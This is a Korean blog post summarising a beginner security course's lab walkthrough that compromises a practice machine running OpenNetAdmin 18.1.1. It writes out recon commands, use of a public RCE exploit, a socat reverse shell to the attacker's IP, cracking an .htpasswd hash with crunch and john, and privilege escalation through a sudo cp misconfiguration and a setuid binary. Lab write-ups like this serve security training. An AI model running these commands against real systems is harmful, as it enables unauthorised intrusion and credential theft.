[normaltic 비기너 클래스 1기] 2023-08-30 Skill Course 3주차 내용 정리

2023. 9. 11. 13:21normaltic 비기너 클래스 1기/내용 정리

Task 1 문제로 Exploit -> Post Exploit 단계까지 실습

 

2주차 실습을 통해서 공격 대상의 쉘 획득에 대한 방법을 배웠으며 3주차 실습을 통해서 Post Exploit 단계까지 진행해 보자.

 

정보 수집

 

 

공격 대상의 IP주소는 '10.10.230.101'이다.

 

포트 스캔

 

nmap -sCV 10.10.230.101 > scan_res
cat scan_res

 

공격 대상의 포트를 스캔하여 80번 포트가 열려있는 것을 확인 후 웹 브라우저에 대상 IP주소를 입력하여 확인한다.

 

 

출력된 웹 페이지는 아무런 내용도 없기에 바로 웹 디렉터리 스캔 및 웹 서비스 취약점 분석을 진행한다.

 

 

gobuster dir -u http://10.10.230.101 -w /usr/share/dirb/wordlists/common.txt -t 60
robots.txt란?
robots.txt는 웹사이트에서 크롤링하며 정보를 수집하는 검색엔진 크롤러(또는 검색 로봇)가 액세스 하거나 정보수집을 해도 되는 페이지가 무엇인지, 해서는 안 되는 페이지가 무엇인지 알려주는 역할을 하는 .txt (텍스트) 파일입니다. robots.txt 파일은 검색엔진 크롤러가 웹사이트에 접속하여 정보 수집을 하며 보내는 요청(request)으로 인해 사이트 과부하되는 것을 방지하기 위해 사용됩니다.
비유를 들어 조금 쉽게 설명하자면 robots.txt 파일은 도로에 있는 교통 표지판과 비슷한 역할을 한다고 이해할 수 있습니다. 가령 어떤 도로에 진입이 불가하다는 표지판이 있을 경우 진입하지 말아야 하는 것처럼, 검색엔진 크롤러 또한 robots.txt 에서 액세스가 허용되지 않은 디렉터리를 발견한다면 원칙적으로는 크롤링하지 않습니다.

출처:https://seo.tbwakorea.com/blog/robots-txt-complete-guide/

 

웹 디렉토리 스캔 결과 'robots.txt' 파일이 존재하는 것을 확인하였다. robots.txt파일의 내용을 확인하면 검색 엔진에 의해 드러나지 않도록 하는 웹 디렉터리를 확인할 수 있다.

 

 

robots.txt에 검색 엔진에 의해 노출되지 않도록 하는 웹 디렉터리에 '/ona'가 존재하였다. 해당 웹 디렉터리를 주소창에 입력하여 들어간 웹 페이지는 'OpenNetAdmin'이라는 웹 페이지로 확인되었다. 해당 웹 페이지는 'OpenNetAdmin v18.1.1' 서비스를 제공하는 것을 확인할 수 있다.

 

서비스 분석

 

 

searchsploit OpenNetAdmin 18.1.1
cp /usr/share/exploitdb/exploits/php/webapps/47691.sh ./exploit.sh
ls

 

searchsploit 명령어를 사용하여 OpenNetAdmin 18.1.1에 대한 취약점을 분석하였다. 출력된 내용에서 2번째 줄의 'OpenNetAdmin 18.1.1 - Remote Code Execution' 취약점인 원격 코드 실행 취약점을 사용하여 공격 대상에 대한 공격을 진행하도록 하자. 공격 파일을 현재 디렉터리에 cp 명령어를 사용하여 'exploit.sh'이름의 파일로 복사하였다.

 

Exploit

 

 

cat exploit.sh

 

exploit.sh파일의 내용을 보면 빨간 줄로 밑줄 쳐진 곳에 인수로 URL을 적으라는 내용이다.

 

 

./exploit.sh http://10.10.230.101/ona/

 

usage대로 명령어를 실행하면 공격 대상의 쉘을 획득할 수 있다. 그러나 해당 쉘은 1회용 쉘로 복잡한 작업을 하기에는 곤란하다. 그래서 획득한 쉘로 리버스 쉘 명령어를 실행하자.

 

공격대상 쉘
공격자 쉘
리버스 쉘을 사용하여 정상적인 작동 확인

 

socat TCP:10.18.30.184:7777 EXEC:sh  >>>>>>>>>>>>>>>>>>>> 공격 대상 쉘에서 실행한 명령어
nc -nlvp 7777 >>>>>>>>>>>>>>>>>>>> 공격자 쉘에서 실행한 명령어
python -c "import pty;pty.spawn('/bin/bash')"

 

리버스 쉘 명령어를 사용하여 공격자 컴퓨터에서 공격 대상의 시스템을 원격으로 명령 내리는 것이 가능한 것을 확인할 수 있다. 이후부터는 Post Exploit 단계로 넘어가 권한상승을 하도록 한다.

 

Post Exploit

 

 

cd ~
ls -al
cat .htpasswd

 

공격대상의 시스템으로 접속 후에 확인해봐야 할 것으로는 해당 계정으로 'sudo -l'명령어를 사용하여 사용가능한 setuid 명령어가 있는지 확인하거나 혹은 해당 계정의 홈 디렉터리로 이동하여 어떤 파일이 있는지 알아봐야 한다.

 

'.htpasswd' 파일은 웹 페이지에 접근할 시 필요한 계정정보를 입력해 놓는 파일이다. 해당 파일의 내용을 확인하였더니 'douglas'계정에 대한 정보를 알 수 있는데 '$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1'라는 암호화된 비밀번호를 발견할 수 있었다. 또한 해당 암호에 대한 힌트도 발견할 수 있었으며 'aefhrt'의 알파벳 조합으로 이루어진 10자 암호란 것을 확인할 수 있었다.

 

 

crunch 10 10 aefhrt -o wordlist.txt

 

주어진 힌트를 이용하여 'aefhrt'의 알파벳 조합으로 이루어진 10자의 모든 문자열 리스트를 crunch 명령어를 사용하여 작성할 수 있다.

 

 

john --wordlist=wordlist.txt douglas

 

john 명령어를 사용하여 crunch 명령어로 만들어둔 사전파일과 douglas 계정 정보가 담긴 'douglas'파일을 인수로 무차별 대입 공격을 실행하여 암호화된 비밀번호를 알아내도록 한다. 빨간색으로 밑줄 쳐진 곳을 보면 무차별 대입 공격 결과 암호화된 비밀번호는 'fatherrrrr'란것을 확인할 수 있었다. 해당 계정 정보를 활용하여 크리덴셜 스터핑 공격으로 ssh에 접속을 시도해 본다.

 

 

ssh에 접속 결과 douglas 일반 사용자 계정으로 접속할 수 있었다.

 

 

cd ~
sudo -l
ls -al
cd .ssh
ls -al

 

douglas 계정으로 접속 후에 sudo -l 명령어를 사용하여 setuid 권한을 가지고 있는지 확인한다. douglas 계정은 jen계정 권한으로 /bin/cp 명령어를 사용할 수 있는 것을 확인할 수 있다. 해당 명령어를 사용할 수 있다는 것을 인지하고 douglas 계정의 홈 디렉터리로 이동하여 어떤 파일들이 있는지 확인해 보았다.

 

.ssh 디렉터리는 ssh클라이언트가 키 인증을 위해 접근하는 기본 디렉터리다. .ssh 디렉터리가 있는 것으로 보아 공개키/개인키를 이용하여 ssh에 접속할 수 있다고 생각할 수 있다. .ssh디렉터리로 이동했더니 공개키/개인키 한 쌍이 존재하는 것을 확인할 수 있었다.

 

 

cp id_rsa.pub authorized_keys
chmod 700 authorized_keys
ls -al

 

id_rsa파일은 개인키이며 비밀번호에 해당한다. id_rsa.pub파일은 원격 서버의 authorized_keys에 위치시켜 id_rsa파일을 확인시켜 주는 역할을 한다. 지금까지 모은 정보를 토대로 jen계정에 접속하기 위하여 jen계정의 홈 디렉터리에 위치한. ssh에 authorized_keys파일을 복사하여 비밀번호 없이 공개키/개인키를 사용하여 접속하는 것을 생각해 볼 수 있다.

 

 

chmod 777 authorized_keys
sudo -u jen /bin/cp authorized_keys /home/jen/.ssh/

 

authorized_keys파일을 /tmp에 복사 후에 chmod 명령어를 사용하여 권한을 부여한다. 이후 sudo 명령어를 사용하여 jen계정 권한으로 /home/jen/.ssh디렉터리에 authorized_keys파일을 복사한다.

 

 

cd ~/.ssh
ssh -i id_rsa jen@[ip주소]
id

 

이제 id_rsa파일을 사용하여 ssh로 jen계정으로 해당 시스템에 접속가능하다. 접속했더니 새로운 메일이 있다는 알림을 받을 수 있었다.

 

 

cd /var/mail
ls -al
cat jen

 

메일은 /var/mail경로에 존재하며 해당 디렉터리에서 'jen'이라는 이름의 메일이 존재하는 것을 확인할 수 있었다. 해당 파일의 내용을 출력하여 확인했더니 Moss계정의 현재 비밀번호가 Fire!Fire!라는 것을 확인할 수 있었다. 이를 이용하여 Moss의 계정에 접속해 보자.

 

 

ssh moss@[ip 주소]
sudo -l
ls -al

 

ssh로 moss계정에 접속하여 'sudo -l'명령어로 setuid 권한이 있는지 알아보았으나 없는 것을 확인할 수 있었다. 이후 moss계정의 홈 디렉터리로 이동후에 파일리스트를 확인해보았더니 .game이라는 디렉터리가 있는 것을 확인하였다.

 

 

cd .games
ls -al

 

.games 디렉터리에 접근하여 파일리스트를 출력했더니 여러 가지 파일들이 존재했는데 그중 setuid 권한이 부여된 파일을 발견할 수 있었다.

 

 

해당 파일을 실행시켜 보니 몇 가지 질문들이 출력되었고 이에 맞춰 적절한 대답을 입력하였더니 root 계정으로 전환되는 것을 확인할 수 있었다.